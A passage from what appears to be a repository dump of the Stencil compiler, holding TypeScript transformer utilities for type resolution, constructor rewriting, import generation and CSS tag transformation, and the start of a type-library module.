alias)\n      // For \"import { XAxisOption as moo }\", propertyName is \"XAxisOption\"\n      const importedAs = importElement.propertyName ? importElement.propertyName.getText() : typeName;\n\n      const typeDecl = findTypeWithName(importHomeModule, originalTypeName);\n      type = checker.getTypeAtLocation(typeDecl);\n\n      const id = addToLibrary(type, originalTypeName, checker, normalizePath(importHomeModule.fileName, false));\n      return {\n        location: 'import',\n        path: localImportPath,\n        id,\n        referenceLocation: importedAs,\n      };\n    }\n  }\n\n  // Loop through all top level exports to find if any reference to the type for 'local' reference location\n  const isExported = sourceFile.statements.some((st) => {\n    const statementModifiers = retrieveTsModifiers(st);\n\n    const isDeclarationExported = (statement: ts.InterfaceDeclaration | ts.TypeAliasDeclaration | ts.EnumDeclaration) =>\n      (<ts.Identifier>statement.name).getText() === typeName &&\n      Array.isArray(statementModifiers) &&\n      statementModifiers.some((mod) => mod.kind === ts.SyntaxKind.ExportKeyword);\n\n    // Is the interface defined in the file and exported\n    const isInterfaceDeclarationExported = ts.isInterfaceDeclaration(st) && isDeclarationExported(st);\n\n    const isTypeAliasDeclarationExported = ts.isTypeAliasDeclaration(st) && isDeclarationExported(st);\n\n    const isEnumDeclarationExported = ts.isEnumDeclaration(st) && isDeclarationExported(st);\n\n    // Is the interface exported through a named export\n    const isTypeInExportDeclaration =\n      ts.isExportDeclaration(st) &&\n      ts.isNamedExports(st.exportClause) &&\n      st.exportClause.elements.some((nee) => nee.name.getText() === typeName);\n\n    return (\n      isInterfaceDeclarationExported ||\n      isTypeAliasDeclarationExported ||\n      isEnumDeclarationExported ||\n      isTypeInExportDeclaration\n    );\n  });\n\n  if (isExported) {\n    const id = addToLibrary(type, typeName, checker, sourceFile.fileName);\n\n    return {\n      location: 'local',\n      // If this is a local import, we know the path to the type\n      // is the same as the current source file path\n      //\n      // We need to explicitly include the path here because\n      // future logic for generating app types will use this resolved reference\n      // to ensure that type name collisions do no occur in the output type\n      // declaration file. If this path is omitted, the correct aliased type names\n      // will not be used for component event definitions\n      path: sourceFile.fileName,\n      id,\n    };\n  }\n\n  // Check for default imports (import MyEnum from '...')\n  const defaultImportDeclaration = sourceFile.statements.find((st) => {\n    if (!ts.isImportDeclaration(st) || !st.importClause) {\n      return false;\n    }\n    // Check if the default import name matches the type name\n    const defaultImportName = st.importClause.name;\n    return defaultImportName && defaultImportName.getText() === typeName;\n  }) as ts.ImportDeclaration;\n\n  if (defaultImportDeclaration) {\n    const localImportPath = (<ts.StringLiteral>defaultImportDeclaration.moduleSpecifier).text;\n    const options = program.getCompilerOptions();\n    const compilerHost = ts.createCompilerHost(options);\n    const importHomeModule = getHomeModule(sourceFile, localImportPath, options, compilerHost, program);\n\n    if (importHomeModule) {\n      // For default imports, the original type name is 'default' in the module's exports\n      // But we want to use the actual type name from the module\n      const defaultExport = importHomeModule.statements.find(\n        (st) =>\n          ts.isExportAssignment(st) &&\n          !st.isExportEquals &&\n          ts.isIdentifier(st.expression) &&\n          st.expression.getText() === typeName,\n      );\n\n      if (defaultExport) {\n        const typeDecl = findTypeWithName(importHomeModule, typeName);\n        type = checker.getTypeAtLocation(typeDecl);\n\n        const id = addToLibrary(type, typeName, checker, normalizePath(importHomeModule.fileName, false));\n        return {\n          location: 'import',\n          path: localImportPath,\n          id,\n          isDefault: true,\n        };\n      }\n    }\n  }\n\n  // This is most likely a global type, if it is a local that is not exported then typescript will inform the dev\n  return {\n    location: 'global',\n    id: 'global::' + typeName,\n  };\n};\n\n/**\n * Resolve a type annotation, using the TypeScript typechecker to convert a\n * {@link ts.Type} record to a string.\n *\n * For instance, assume there's a module `foo.ts` which exports a type `Foo`\n * which looks like this:\n *\n * ```ts\n * // foo.ts\n * type Foo = (b: string) => boolean;\n * ```\n *\n * and then a module `bar.ts` which imports `Foo` and uses it to annotate a\n * variable declaration like so:\n *\n * ```ts\n * // bar.ts\n * import { Foo } from './foo';\n *\n * let foo: Foo | undefined;\n * ```\n *\n * If this function is called with the {@link ts.Type} object corresponding to\n * the {@link ts.Node} object for the `foo` variable, it will return something\n * like:\n *\n * ```ts\n * \"(b: string) => boolean | undefined\";\n * ```\n *\n * @param checker a typescript typechecker\n * @param type the type to resolve\n * @returns a resolved, user-readable string\n */\nexport const resolveType = (checker: ts.TypeChecker, type: ts.Type): string => {\n  const set = new Set<string>();\n  parseDocsType(checker, type, set);\n\n  // normalize booleans\n  const hasTrue = set.delete('true');\n  const hasFalse = set.delete('false');\n  if (hasTrue || hasFalse) {\n    set.add('boolean');\n  }\n\n  let parts = Array.from(set.keys()).sort();\n  if (parts.length > 1) {\n    parts = parts.map((p) => (p.indexOf('=>') >= 0 ? `(${p})` : p));\n  }\n  return parts.join(' | ');\n};\n\n/**\n * Formats a TypeScript `Type` entity as a string\n *\n * Note: this is essentially an opinionated alias for the\n * {@link ts.TypeChecker.typeToString} method.\n *\n * @param checker a reference to the TypeScript type checker\n * @param type a TypeScript `Type` entity to format\n * @returns the formatted string\n */\nexport const typeToString = (checker: ts.TypeChecker, type: ts.Type): string => {\n  const TYPE_FORMAT_FLAGS =\n    ts.TypeFormatFlags.NoTruncation | ts.TypeFormatFlags.InTypeAlias | ts.TypeFormatFlags.InElementType;\n\n  return checker.typeToString(type, undefined, TYPE_FORMAT_FLAGS);\n};\n\n/**\n * Parse a type into its component parts, recursively dealing with each variant\n * if it is a union type.\n *\n * **Note**: this function will mutate the `parts` set, adding new strings for\n * any types it finds.\n *\n * @param checker a TypeScript typechecker instance\n * @param type a TypeScript type\n * @param parts an out param that holds parts of the type annotation we're\n * assembling\n */\nexport const parseDocsType = (checker: ts.TypeChecker, type: ts.Type, parts: Set<string>): void => {\n  if (type.isUnion()) {\n    (type as ts.UnionType).types.forEach((t) => {\n      parseDocsType(checker, t, parts);\n    });\n  } else {\n    // Check if this is a type alias (generic or non-generic) that should be expanded\n    // For documentation purposes, we want to show the actual literal values\n    // rather than type alias names like \"ColorName\" or \"AllowedColors<...>\"\n    if (type.aliasSymbol) {\n      if (type.aliasTypeArguments && type.aliasTypeArguments.length > 0) {\n        // Generic type alias: recursively parse each type argument\n        // This handles cases like: type Foo<T> = T; where Foo<\"a\" | \"b\"> should become \"a\" | \"b\"\n        type.aliasTypeArguments.forEach((argType) => {\n          parseDocsType(checker, argType, parts);\n        });\n      } else if (type.aliasSymbol.declarations && type.aliasSymbol.declarations.length > 0) {\n        // Non-generic type alias: get the aliased type and recurse\n        // This handles cases like: type ColorName = \"a\" | \"b\" | \"c\"\n        const aliasedType = checker.getTypeAtLocation(type.aliasSymbol.declarations[0]);\n        if (aliasedType && aliasedType !== type) {\n          parseDocsType(checker, aliasedType, parts);\n        } else {\n          const text = typeToString(checker, type);\n          parts.add(text);\n        }\n      } else {\n        // Type alias but no declarations (e.g., global or external types)\n        const text = typeToString(checker, type);\n        parts.add(text);\n      }\n    } else {\n      const text = typeToString(checker, type);\n      parts.add(text);\n    }\n  }\n};\n\n/**\n * Retrieves a Stencil `Module` entity from the compiler context for a given TypeScript `SourceFile`\n * @param compilerCtx the current compiler context to retrieve the `Module` from\n * @param tsSourceFile the TypeScript compiler `SourceFile` entity to use to retrieve the `Module`\n * @returns the `Module`, or `undefined` if it cannot be found\n */\nexport const getModuleFromSourceFile = (\n  compilerCtx: d.CompilerCtx,\n  tsSourceFile: ts.SourceFile,\n): d.Module | undefined => {\n  const sourceFilePath = normalizePath(tsSourceFile.fileName);\n  const moduleFile = compilerCtx.moduleMap.get(sourceFilePath);\n  if (moduleFile != null) {\n    return moduleFile;\n  }\n\n  // a key with the `Module`'s filename could not be found, attempt to resolve it by iterating over all modules in the\n  // compiler context\n  const moduleFiles = Array.from(compilerCtx.moduleMap.values());\n  return moduleFiles.find((m) => m.jsFilePath === sourceFilePath);\n};\n\n/**\n * Retrieve the Stencil metadata for a component from the current compiler context, based on the provided TypeScript\n * syntax tree node. The TypeScript source file is used as a fallback in the event the metadata cannot be found based\n * on the TypeScript node.\n * @param compilerCtx the current compiler context\n * @param tsSourceFile the TypeScript `SourceFile` entity\n * @param node a TypeScript class representation of a Stencil component\n * @returns the found metadata, or `undefined` if it cannot be found\n */\nexport const getComponentMeta = (\n  compilerCtx: d.CompilerCtx,\n  tsSourceFile: ts.SourceFile,\n  node: ts.ClassDeclaration,\n): d.ComponentCompilerMeta | undefined => {\n  const meta = compilerCtx.nodeMap.get(node);\n  if (meta) {\n    return meta;\n  }\n\n  const moduleFile = getModuleFromSourceFile(compilerCtx, tsSourceFile);\n  if (moduleFile != null && node.members != null) {\n    const staticMembers = node.members.filter(isStaticGetter);\n    const tagName = getComponentTagName(staticMembers);\n    if (typeof tagName === 'string') {\n      return moduleFile.cmps.find((cmp) => cmp.tagName === tagName);\n    }\n  }\n  return undefined;\n};\n\n/**\n * Updates a mixin class; cleans up static metadata properties and\n * adds the `registerInstance` method to the constructor\n *\n * @param classNode the class node to update\n * @param moduleFile the module file containing the class node\n * @param cmp the component metadata to update\n * @param transformOpts the transformation options to use\n * @returns the updated class node\n */\nexport const updateMixin = (\n  classNode: ts.ClassDeclaration,\n  moduleFile: d.Module,\n  cmp: d.ComponentCompilerMeta,\n  transformOpts: d.TransformOptions,\n) => {\n  const classMembers = removeStaticMetaProperties(classNode);\n  updateLazyComponentConstructor(classMembers, classNode, moduleFile, cmp);\n  return updateComponentClass(transformOpts, classNode, classNode.heritageClauses, classMembers);\n};\n\n/**\n * Retrieves the tag name associated with a Stencil component, based on the 'is' static getter assigned to the class at compile time\n * @param staticMembers the static getters belonging to the Stencil component class\n * @returns the tag name, or null if one cannot be found\n */\nexport const getComponentTagName = (staticMembers: ts.ClassElement[]): string | null => {\n  if (staticMembers.length > 0) {\n    const tagName = getStaticValue(staticMembers, 'is') as string;\n\n    if (typeof tagName === 'string' && tagName.includes('-')) {\n      return tagName;\n    }\n  }\n\n  return null;\n};\n\nexport const isStaticGetter = (member: ts.ClassElement): boolean => {\n  const modifiers = retrieveTsModifiers(member);\n  return (\n    (member.kind === ts.SyntaxKind.GetAccessor &&\n      Array.isArray(modifiers) &&\n      modifiers.some(({ kind }) => kind === ts.SyntaxKind.StaticKeyword)) ??\n    false\n  );\n};\n\n/**\n * Create a serialized representation of a TypeScript `Symbol` entity to expose the Symbol's text and attached JSDoc.\n * Note that the `Symbol` being serialized is not the same as the JavaScript primitive 'symbol'.\n * @param checker a reference to the TypeScript type checker\n * @param symbol the `Symbol` to serialize\n * @returns the serialized `Symbol` data\n */\nexport const serializeSymbol = (checker: ts.TypeChecker, symbol: ts.Symbol): d.CompilerJsDoc => {\n  if (!checker || !symbol) {\n    return {\n      tags: [],\n      text: '',\n    };\n  }\n  return {\n    tags: mapJSDocTagInfo(symbol.getJsDocTags()),\n    text: ts.displayPartsToString(symbol.getDocumentationComment(checker)),\n  };\n};\n\n/**\n * Maps a TypeScript 4.3+ JSDocTagInfo to a flattened Stencil CompilerJsDocTagInfo.\n * @param tags A readonly array of JSDocTagInfo objects.\n * @returns An array of CompilerJsDocTagInfo objects.\n */\nexport const mapJSDocTagInfo = (tags: readonly ts.JSDocTagInfo[]): d.CompilerJsDocTagInfo[] => {\n  // The text following a tag is split semantically by TS 4.3+, e.g. '@param foo the first parameter' ->\n  // [{text: 'foo', kind: 'parameterName'}, {text: ' ', kind: 'space'}, {text: 'the first parameter', kind: 'text'}], so\n  // we join the elements to reconstruct the text.\n  return tags.map((tag) => ({ ...tag, text: tag.text?.map((part) => part.text).join('') }));\n};\n\nexport const serializeDocsSymbol = (checker: ts.TypeChecker, symbol: ts.Symbol) => {\n  const type = checker.getTypeOfSymbolAtLocation(symbol, symbol.valueDeclaration);\n  // TODO(STENCIL-365): Replace this with `return resolveType()`;\n  const set = new Set<string>();\n  parseDocsType(checker, type, set);\n\n  // normalize booleans\n  const hasTrue = set.delete('true');\n  const hasFalse = set.delete('false');\n  if (hasTrue || hasFalse) {\n    set.add('boolean');\n  }\n\n  let parts = Array.from(set.keys()).sort();\n  if (parts.length > 1) {\n    parts = parts.map((p) => (p.indexOf('=>') >= 0 ? `(${p})` : p));\n  }\n  if (parts.length > 20) {\n    return typeToString(checker, type);\n  } else {\n    return parts.join(' | ');\n  }\n};\n\n/**\n * Given the JSDoc for a given bit of code, determine whether or not it is\n * marked 'internal'\n *\n * @param jsDocs the JSDoc to examine\n * @returns whether the JSDoc is marked 'internal' or not\n */\nexport const isInternal = (jsDocs: d.CompilerJsDoc | undefined): boolean => {\n  return !!(jsDocs && jsDocs.tags.some((s) => s.name === 'internal'));\n};\n\nexport const isMethod = (member: ts.ClassElement, methodName: string): member is ts.MethodDeclaration => {\n  return ts.isMethodDeclaration(member) && member.name && (member.name as any).escapedText === methodName;\n};\n\nexport const createImportStatement = (importFnNames: string[], importPath: string) => {\n  // ESM Imports\n  // import { importNames } from 'importPath';\n\n  const importSpecifiers = importFnNames.map((importKey) => {\n    const splt = importKey.split(' as ');\n    let importAs = importKey;\n    let importFnName = importKey;\n\n    if (splt.length > 1) {\n      importAs = splt[1];\n      importFnName = splt[0];\n    }\n\n    return ts.factory.createImportSpecifier(\n      false,\n      typeof importFnName === 'string' && importFnName !== importAs\n        ? ts.factory.createIdentifier(importFnName)\n        : undefined,\n      ts.factory.createIdentifier(importAs),\n    );\n  });\n\n  return ts.factory.createImportDeclaration(\n    undefined,\n    ts.factory.createImportClause(false, undefined, ts.factory.createNamedImports(importSpecifiers)),\n    ts.factory.createStringLiteral(importPath),\n  );\n};\n\nexport const createRequireStatement = (importFnNames: string[], importPath: string) => {\n  // CommonJS require()\n  // const { a, b, c } = require(importPath);\n\n  const importBinding = ts.factory.createObjectBindingPattern(\n    importFnNames.map((importKey) => {\n      const splt = importKey.split(' as ');\n      let importAs = importKey;\n      let importFnName = importKey;\n\n      if (splt.length > 1) {\n        importAs = splt[1];\n        importFnName = splt[0];\n      }\n      return ts.factory.createBindingElement(undefined, importFnName, importAs);\n    }),\n  );\n\n  return ts.factory.createVariableStatement(\n    undefined,\n    ts.factory.createVariableDeclarationList(\n      [\n        ts.factory.createVariableDeclaration(\n          importBinding,\n          undefined,\n          undefined,\n          ts.factory.createCallExpression(\n            ts.factory.createIdentifier('require'),\n            [],\n            [ts.factory.createStringLiteral(importPath)],\n          ),\n        ),\n      ],\n      ts.NodeFlags.Const,\n    ),\n  );\n};\n\nexport interface ConvertIdentifier {\n  __identifier: boolean;\n  __escapedText: string;\n}\n\n/**\n * Helper method for retrieving all decorators & modifiers from a TypeScript {@link ts.Node} entity.\n *\n * Starting with TypeScript v4.8, decorators and modifiers have been coalesced into a single field, and retrieving\n * decorators directly has been deprecated. This helper function pulls all decorators & modifiers out of said field.\n *\n * @see {@link https://devblogs.microsoft.com/typescript/announcing-typescript-4-8/#decorators-are-placed-on-modifiers-on-typescripts-syntax-trees|The TypeScript 4.8 Announcement}\n *\n * @param node the node to pull decorators & modifiers out of\n * @returns a list containing decorators & modifiers on the node\n */\nexport const retrieveModifierLike = (node: ts.Node): ReadonlyArray<ts.ModifierLike> => {\n  return [...(retrieveTsDecorators(node) ?? []), ...(retrieveTsModifiers(node) ?? [])];\n};\n\n/**\n * Helper method for retrieving decorators from a TypeScript {@link ts.Node} entity.\n *\n * Starting with TypeScript v4.8, decorators and modifiers have been coalesced into a single field, and retrieving\n * decorators directly has been deprecated. This helper function is a utility that wraps various helper functions that\n * the TypeScript compiler exposes for pulling decorators out of said field.\n *\n * @see {@link https://devblogs.microsoft.com/typescript/announcing-typescript-4-8/#decorators-are-placed-on-modifiers-on-typescripts-syntax-trees|The TypeScript 4.8 Announcement}\n *\n * @param node the node to pull decorators out of\n * @returns a list containing 1+ decorators on the node, otherwise undefined\n */\nexport const retrieveTsDecorators = (node: ts.Node): ReadonlyArray<ts.Decorator> | undefined => {\n  return ts.canHaveDecorators(node) ? ts.getDecorators(node) : undefined;\n};\n\n/**\n * Helper method for retrieving modifiers from a TypeScript {@link ts.Node} entity.\n *\n * Starting with TypeScript v4.8, decorators and modifiers have been coalesced into a single field, and retrieving\n * modifiers directly has been deprecated. This helper function is a utility that wraps various helper functions that\n * the TypeScript compiler exposes for pulling modifiers out of said field.\n *\n * @see {@link https://devblogs.microsoft.com/typescript/announcing-typescript-4-8/#decorators-are-placed-on-modifiers-on-typescripts-syntax-trees|The TypeScript 4.8 Announcement}\n *\n * @param node the node to pull modifiers out of\n * @returns a list containing 1+ modifiers on the node, otherwise undefined\n */\nexport const retrieveTsModifiers = (node: ts.Node): ReadonlyArray<ts.Modifier> | undefined => {\n  return ts.canHaveModifiers(node) ? ts.getModifiers(node) : undefined;\n};\n\n/**\n * Helper method for finding a `super()` call in a constructor body.\n * @param constructorBodyStatements the body statements of a constructor\n * @returns the first statement in the constructor body that is a call to `super()`\n */\nexport function foundSuper(constructorBodyStatements: ts.NodeArray<ts.Statement>) {\n  return constructorBodyStatements?.find(\n    (s) =>\n      ts.isExpressionStatement(s) &&\n      ts.isCallExpression(s.expression) &&\n      (s.expression.expression.kind === ts.SyntaxKind.SuperKeyword ||\n        (ts.isIdentifier(s.expression.expression) && s.expression.expression.escapedText === 'super')),\n  );\n}\n\n/**\n * Helper util for updating the constructor on a class declaration AST node.\n * - Adds a `super()` call if needed\n * - Merges in any provided statements into the constructor body\n *\n * @param classNode the class node whose constructor will be updated\n * @param classMembers a list of class members for that class\n * @param statements a list of statements which should be added to the\n * constructor\n * @param parameters an optional list of parameters for the constructor\n * @param includeFalseArg whether to include a `false` argument in the `super()` call.\n * This is used in native Stencil components which extend other Stencil components to stop the base component from being initialized.\n * @returns a list of updated class elements\n */\nexport const updateConstructor = (\n  classNode: ts.ClassDeclaration,\n  classMembers: ts.ClassElement[],\n  statements: ts.Statement[],\n  parameters?: ts.ParameterDeclaration[],\n  includeFalseArg?: boolean,\n): ts.ClassElement[] => {\n  const constructorIndex = classMembers.findIndex((m) => m.kind === ts.SyntaxKind.Constructor);\n  const constructorMethod = classMembers[constructorIndex];\n\n  if (constructorIndex < 0 && !statements?.length && !needsSuper(classNode)) return classMembers;\n\n  // we have a constructor; let's update it\n  if (constructorIndex >= 0 && ts.isConstructorDeclaration(constructorMethod)) {\n    const constructorBodyStatements = constructorMethod.body?.statements;\n    let foundSuperCall = foundSuper(constructorBodyStatements);\n\n    if (!foundSuperCall && needsSuper(classNode)) {\n      // if there is no super and it needs one the statements comprising the\n      // body of the constructor should be:\n      //\n      // 1. the `super()` call\n      // 2. the new statements we've created to initialize fields\n      // 3. the statements currently comprising the body of the constructor\n      statements = [createConstructorBodyWithSuper(includeFalseArg), ...statements, ...constructorBodyStatements];\n    } else {\n      const updatedStatements = constructorBodyStatements.filter((s) => s !== foundSuperCall);\n      // if no new super is needed. The body of the constructor should be:\n      // 1. Any current super call\n      // 2. the new statements we've created\n      // 3. the statements currently comprising the body of the constructor\n      if (foundSuperCall) {\n        if (includeFalseArg) {\n          foundSuperCall = createConstructorBodyWithSuper(includeFalseArg);\n        }\n        statements = [foundSuperCall, ...statements, ...updatedStatements];\n      } else {\n        statements = [...statements, ...updatedStatements];\n      }\n    }\n\n    classMembers[constructorIndex] = ts.factory.updateConstructorDeclaration(\n      constructorMethod,\n      retrieveTsModifiers(constructorMethod),\n      [...[...(parameters ?? []), ...constructorMethod.parameters]],\n      ts.factory.updateBlock(constructorMethod?.body ?? ts.factory.createBlock([]), statements),\n    );\n  } else {\n    // we don't seem to have a constructor, so let's create one and stick it\n    // into the array of class elements\n    if (needsSuper(classNode)) {\n      statements = [createConstructorBodyWithSuper(includeFalseArg), ...statements];\n    }\n\n    // add the new constructor to the class members, putting it at the\n    // beginning\n    classMembers.unshift(\n      ts.factory.createConstructorDeclaration(undefined, parameters ?? [], ts.factory.createBlock(statements, true)),\n    );\n  }\n  return classMembers;\n};\n\n/**\n * Check that a given class declaration should have a `super()` call in its\n * constructor. This is something we can check by looking for a\n * {@link ts.HeritageClause} on the class's AST node.\n *\n * @param classDeclaration a class declaration AST node\n * @returns whether this class has parents or not\n */\nconst needsSuper = (classDeclaration: ts.ClassDeclaration): boolean => {\n  const hasHeritageClauses = classDeclaration.heritageClauses && classDeclaration.heritageClauses.length > 0;\n\n  if (hasHeritageClauses) {\n    // A {@link ts.SyntaxKind.HeritageClause} node may be for extending a\n    // superclass _or_ for implementing an interface. We only want to add a\n    // `super()` call to our synthetic constructor here in the case that there\n    // is a superclass, so we can check for that situation by checking for the\n    // presence of a heritage clause with the `.token` property set to\n    // `ts.SyntaxKind.ExtendsKeyword`.\n    return classDeclaration.heritageClauses.some((clause) => clause.token === ts.SyntaxKind.ExtendsKeyword);\n  }\n  return false;\n};\n\n/**\n * Create a statement with a call to `super()` suitable for including in the body of a constructor.\n * @param includeFalseArg whether to include a `false` argument in the `super()` call.\n * This is used in native Stencil components which extend other Stencil components to stop the base component from being initialized.\n * @returns a {@link ts.ExpressionStatement} node equivalent to `super()`\n */\nconst createConstructorBodyWithSuper = (includeFalseArg?: boolean): ts.ExpressionStatement => {\n  return ts.factory.createExpressionStatement(\n    ts.factory.createCallExpression(\n      ts.factory.createIdentifier('super'),\n      undefined,\n      includeFalseArg ? [ts.factory.createFalse()] : undefined,\n    ),\n  );\n};\n\n/**\n * Given a {@link ts.PropertyDeclaration} node get its name as a string\n *\n * @param node a property decl node\n * @param typeChecker a reference to the {@link ts.TypeChecker}\n * @returns the name of the property in string form\n */\nexport const tsPropDeclName = (\n  node: ts.PropertyDeclaration | ts.GetAccessorDeclaration,\n  typeChecker: ts.TypeChecker,\n): { staticName: string; dynamicName: string } => {\n  const declarationName: ts.DeclarationName = ts.getNameOfDeclaration(node);\n\n  // The name of a class field declaration can be a computed property name,\n  // like so:\n  //\n  // ```ts\n  // const argName = \"arghhh\"\n  //\n  // class MyClass {\n  //   [argName] = \"best property around\";\n  // }\n  // ```\n  //\n  // In this case we need to evaluate the expression via the typechecker to get the literal\n  // value of the property. In the case that it's _not_ a computed property name, like\n  //\n  // ```ts\n  // class MyClass {\n  //   argName = \"best property around\";\n  // }\n  // ```\n  //\n  // we can just call `.getText` on the name itself.\n  let staticName = declarationName.getText();\n  let dynamicName;\n\n  if (ts.isComputedPropertyName(declarationName)) {\n    dynamicName = declarationName.expression.getText();\n    const type = typeChecker.getTypeAtLocation(declarationName.expression);\n    if (type != null && type.isLiteral()) {\n      staticName = type.value.toString();\n    }\n  }\n\n  return { staticName, dynamicName };\n};\n\n/**\n * Reverse order and reduce to remove duplicates. This will make sure that duplicate\n * styles applied to the same component will be applied in the order they are\n * defined in the component, e.g.\n * ```\n * @Component({\n *  styleUrls: ['cmp-a.css', 'cmp-b.css', 'cmp-a.css']\n * })\n * ```\n * will be applied in the order `cmp-b.css`, `cmp-a.css`.\n *\n * @param style style meta data\n * @returns a list of external styles sorted in order\n */\nexport function getExternalStyles(style: d.StyleCompiler) {\n  return (\n    style.externalStyles\n      .map((s) => s.absolutePath)\n      .reverse()\n      .reduce((extStyles, styleUrl) => {\n        if (!extStyles.includes(styleUrl)) {\n          extStyles.push(styleUrl);\n        }\n        return extStyles;\n      }, [] as string[])\n      /**\n       * Reverse back to the original order\n       */\n      .reverse()\n  );\n}\n\n/**\n * Adds tag transformation to a CSS string.\n * Turns `tag-name { ... }` into `${tagTransform('tag-name')} { ... }`\n *\n * @param cssCode The CSS code to transform.\n * @param tagNames The tag names to transform.\n * @returns The transformed CSS code.\n */\nexport function addTagTransformToCssString(cssCode: string, tagNames: string[]): string {\n  const result = postcss([\n    (root: postcss.Root) => {\n      root.walkRules((rule) => {\n        rule.selectors = rule.selectors.map((sel) => {\n          const parsedSelector = postcssSelectorParser().astSync(sel) as any;\n          parsedSelector.walkTags((tag: any) => {\n            if (tagNames.includes(tag.value)) {\n              tag.value = '${' + TRANSFORM_TAG + '(\"' + tag.value + '\")}';\n            }\n          });\n          return parsedSelector.toString();\n        });\n      });\n    },\n  ]).process(cssCode, { parser: postcssSafeParser });\n  return result.css;\n}\n\n/**\n * Transforms CSS code into a TypeScript AST TemplateExpression or NoSubstitutionTemplateLiteral,\n * replacing specified tag names with `tagTransform(\"tag-name\")` calls.\n * Turns `tag-name { ... }` into `${tagTransform('tag-name')} { ... }`\n *\n * @param cssCode The CSS code to transform.\n * @param tagNames The tag names to transform.\n * @returns The transformed CSS code.\n */\nexport function addTagTransformToCssTsAST(\n  cssCode: string,\n  tagNames: string[],\n): ts.TemplateExpression | ts.NoSubstitutionTemplateLiteral {\n  const placeholders: string[] = [];\n\n  const processor = postcss([\n    (root: postcss.Root) => {\n      root.walkRules((rule) => {\n        // parse the selector and replace tag nodes with placeholders\n        const parsed = postcssSelectorParser().astSync(rule.selector);\n        parsed.walkTags((tagNode: any) => {\n          if (tagNames.includes(tagNode.value)) {\n            const idx = placeholders.length;\n            const token = `___EXPR_${idx}___`;\n            placeholders.push(tagNode.value);\n            tagNode.value = token;\n          }\n        });\n\n        // overwrite the rule.selector with the selector that contains tokens\n        rule.selector = parsed.toString();\n      });\n    },\n  ]);\n\n  // populate selector placeholders\n  const transformed = processor.process(cssCode, { parser: postcssSafeParser }).css;\n\n  if (placeholders.length === 0) {\n    // no tag names found, return as-is\n    return ts.factory.createNoSubstitutionTemplateLiteral(transformed);\n  }\n\n  // Split by placeholder tokens, preserving the index number ([literal, idx, literal, idx, literal...])\n  const splitParts = transformed.split(/___EXPR_(\\d+)___/);\n  const firstLiteral = splitParts[0] ?? '';\n\n  // Build spans array\n  const spans: ts.TemplateSpan[] = [];\n  for (let i = 1; i < splitParts.length; i += 2) {\n    const idxStr = splitParts[i];\n    const literalAfter = splitParts[i + 1] ?? '';\n\n    const exprIndex = Number(idxStr);\n    const tagName = placeholders[exprIndex];\n    // build call expression: tagTransform(\"tag-name\")\n    const expr = ts.factory.createCallExpression(ts.factory.createIdentifier(TRANSFORM_TAG), undefined, [\n      ts.factory.createStringLiteral(tagName),\n    ]);\n\n    // Determine if this span is the last span -> TemplateTail else TemplateMiddle\n    const isLastSpan = i + 1 >= splitParts.length - 1;\n    const literalNode = isLastSpan\n      ? ts.factory.createTemplateTail(literalAfter)\n      : ts.factory.createTemplateMiddle(literalAfter);\n\n    spans.push(ts.factory.createTemplateSpan(expr, literalNode));\n  }\n\n  // Create TemplateHead from firstLiteral and return TemplateExpression\n  const head = ts.factory.createTemplateHead(firstLiteral);\n  return ts.factory.createTemplateExpression(head, spans);\n}\n"
  },
  {
    "path": "src/compiler/transformers/type-library.ts",
    "content": "import { normalizePath, relative } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../declarations';\nimport { ValidatedConfig } from '../../declarations';\nimport { typeToString } from './transform-utils';\n\n/**\n * This is a {@link d.JsonDocsTypeLibrary} cache which is used to store a\n * record of all the types referenced by components which are 'seen' during a\n * Stencil build\n */\nconst TYPE_LIBRARY: d.JsonDocsTypeLibrary = {};\n\n/**\n * Add a type reference to the library if it has not already been added. This\n * function then returns the unique identifier for that type so a reference to\n * it can be stored.\n *\n * @param type the type we want to add\n * @param typeName the type's name\n * @param checker a {@link ts.TypeChecker} instance\n * @param pathToTypeModule the path to the home module of the type\n * @returns the unique ID for the type in question\n */\nexport function addToLibrary(\n  type: ts.Type,\n  typeName: string,\n  checker: ts.TypeChecker,\n  pathToTypeModule: string,\n): string {\n  pathToTypeModule = relative(process.cwd(), pathToTypeModule);\n\n  // Create a stub path for types that are in node_modules,\n  // this allows us to have a unique ID for types that are from\n  // external packages so we can leverage the original type name when\n  // dealing with type aliases.\n  if (pathToTypeModule.startsWith('node_modules')) {\n    return 'node_modules::' + typeName;\n  }\n\n  const id = getTypeId(pathToTypeModule, typeName);\n\n  if (!type.isTypeParameter() && !(id in TYPE_LIBRARY)) {\n    const declaration = getTypeDeclaration(checker, type);\n\n    if (declaration !== '') {\n      TYPE_LIBRARY[id] = {\n        declaration,\n        docstring: getTypeDocstring(type, checker),\n        path: pathToTypeModule,\n      };\n    }\n  }\n\n  return id;\n}\n\n/**\n * This returns a reference to the cached {@link d.JsonDocsTypeLibrary} which\n * lives in this module.\n *\n * @returns a reference to the type library\n */\nexport function getTypeLibrary(): d.JsonDocsTypeLibrary {\n  return TYPE_LIBRARY;\n}\n\n/**\n * Helper function that, given a file containing interfaces to document, will\n * add all the types exported from that file to the type library.\n *\n * This will exclude any types that are marked 'private' via JSDoc.\n *\n * @param config a validated user-supplied configuration\n * @param filePath the path to the file of interest (must be resolvable from\n * `process.cwd()`)\n */\nexport function addFileToLibrary(config: ValidatedConfig, filePath: string): void {\n  const options = {\n    ...ts.getDefaultCompilerOptions(),\n    module: ts.ModuleKind.ESNext,\n    moduleResolution: ts.ModuleResolutionKind.Node10,\n  };\n  const program = ts.createProgram([filePath], options);\n  const checker = program.getTypeChecker();\n  const compilerHost = ts.createCompilerHost(options);\n\n  const sourceFile = program.getSourceFile(filePath);\n\n  if (!sourceFile) {\n    config.logger.warn(\n      `docs-json: unable to gather type information from \"${filePath}\". Please double check this path exists relative to your project root.`,\n    );\n    return;\n  }\n\n  // separate out the recursion logic for finding all the types we're concerned with\n  // ideally this would be declared as a separate function, but given there's stuff we need to stand up\n  // like the `ts.Program`, `ts.CompilerHost`, etc it's easier to do it inside\n  // the scope of the outer `addFileToLibrary` function.\n  function exportedTypesInSourceFile(\n    sourceFile: ts.SourceFile,\n    exportedTypeNodes: TypeDeclLike[] = [],\n  ): TypeDeclLike[] {\n    ts.forEachChild(sourceFile, (node) => {\n      if (isTypeDeclLike(node) && isExported(node) && isNotPrivate(node)) {\n        exportedTypeNodes.push(node);\n      } else if (ts.isExportDeclaration(node)) {\n        if (!node.moduleSpecifier || !ts.isStringLiteral(node.moduleSpecifier)) {\n          return;\n        }\n\n        const exportHomeModule = getHomeModule(sourceFile, node.moduleSpecifier.text, options, compilerHost, program);\n\n        if (!exportHomeModule) {\n          return;\n        